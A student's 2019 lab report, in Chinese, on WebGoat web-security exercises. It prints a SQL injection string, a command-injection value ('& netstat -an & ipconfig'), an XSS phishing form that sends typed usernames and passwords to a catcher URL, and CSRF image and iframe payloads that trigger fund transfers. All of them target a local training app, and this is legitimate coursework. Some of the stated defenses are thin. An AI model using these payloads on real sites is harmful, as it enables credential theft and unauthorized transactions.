2018-2019-2 20165227《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165227《网络对抗技术》Exp9 Web安全基础

问题回答

1、SQL注入攻击原理,如何防御

  • 原理解释:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的
  • 防御措施:对于输入框的输入进行有效的限制,比如对输入的长度、非法字符等进行限制,可以抵御一定的攻击

2、XSS攻击的原理,如何防御

  • 原理解释:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁获得访问控制
  • 防御措施:对于JSP的进行一定的特征收集,对于其内容严格验证并规定其格式

3、CSRF攻击原理,如何防御

  • 原理解释:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击
  • 防御措施:在结束浏览器的会话后,对cookie进行清理

实验步骤:

准备

  • 安装Webgoat(在网上找到并下载安装包

  • 浏览器登陆http://localhost:8080/WebGoat 进入Webgoat,用下方的用户名及密码进行登陆

  • 登陆成功界面

实验一:SQL注入攻击

Numeric SQL Injection攻击

  • 在复选框上右键,选择inspect Element,对源代码进行修改,在源代码复选框内容第一排后添加or 1=1

  • 成功

Log Spoofing攻击

  • 在页面中的User Name 中填写20165227%0d%0aLogin Succeeded !admin
  • 成功

Command Injection攻击

  • 在复选框上右键,选择inspect Element,对源代码进行修改,在复选框的某一选项中加入"& netstat -an & ipconfig"

  • 显示攻击后的结果

实验二:XSS攻击

Phishing with XSS攻击

  • 在搜索框输入攻击代码
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在下方的登陆界面输入的用户名及密码就会被捕获并返回给你

Stored XSS Attacks攻击

  • 在要发布的Massage部分插入JSP代码,当帖子被浏览时候,该代码会被浏览器解析成html的内容。
  • 在其中输入<script>alert("5228 is 5227's son");</script>

实验三:CSRF攻击

Cross Site Request Forgery攻击

  • 写一个URL,让用户点击,从而触发攻击
  • 以图片的形式将URL放入Massage框中,让用户错以为接收到的是一张图,一旦点击,就会触发CSRF事件
  • 内容为<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=10000"/>

CSRF Prompt By-Pass攻击

  • 在message框中输入代码
<iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
  • 结果

实验问题

  • 在登陆Webgoat的时候,界面显示有问题,找不到攻击的教程通过同学的帮助才知道是JDK的版本不适配

  • 通过同学的帮助才知道是JDK的版本不适配,重新安装了JDK1.8

实验感想

  • 这次的实验有对于SQL语句和网页HTML的要求,对于之后的考试内容也很有帮助,也是一次很有意思的实验
posted @ 2019-05-26 20:11  朱越  阅读(167)  评论(0编辑  收藏  举报